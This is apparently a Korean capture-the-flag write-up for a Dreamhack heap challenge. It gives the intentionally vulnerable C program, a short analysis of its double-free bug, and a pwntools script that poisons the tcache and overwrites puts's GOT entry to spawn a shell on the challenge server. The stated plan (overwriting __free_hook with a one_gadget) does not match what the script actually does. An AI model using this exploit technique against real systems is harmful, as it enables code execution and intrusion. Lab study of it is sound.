code
분석// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[10];
void alarm_handler() {
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int create(int cnt) {
int size;
if (cnt > 10) {
return -1;
}
printf("Size: ");
scanf("%d", &size);
ptr[cnt] = malloc(size);
if (!ptr[cnt]) {
return -1;
}
printf("Data: ");
read(0, ptr[cnt], size);
}
int delete() {
int idx;
printf("idx: ");
scanf("%d", &idx);
if (idx > 10) {
return -1;
}
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int cnt = 0;
initialize();
while (1) {
printf("1. Create\n");
printf("2. Delete\n");
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
create(cnt);
cnt++;
break;
case 2:
delete();
break;
default:
break;
}
}
return 0;
}
create(cnt)
ptr[cnt] = maloc(size);
-> read(0, ptr[cnt], size);
delete()
free(ptr[idx]);
checksec
exploit
설계double free bug
에 대한 보호 기법이 걸려있지 않다.
따라서 double free된 chunk를 하나 만들고, __free_hook
가 가리키는 값을 one_gadget
으로 바꾼다.
exploit.py
from pwn import *
p = remote('host3.dreamhack.games', 16157)
e = ELF("./tcache_dup")
libc = ELF("./libc-2.27.so")
get_shell = e.symbols['get_shell']
puts_got = e.got['puts']
def create(size, data):
p.sendlineafter("> ", "1")
p.sendlineafter("Size: ", str(size))
p.sendafter("Data: ", data)
def delete(idx):
p.sendlineafter("> ", "2")
p.sendlineafter("idx: ", str(idx))
# Double Free
create(0x10, "dreamhack")
delete(0)
delete(0)
# Overwrite puts_got -> get_shell
create(0x10, p64(puts_got))
create(0x10, 'A'*8)
create(0x10, p64(get_shell))
p.interactive()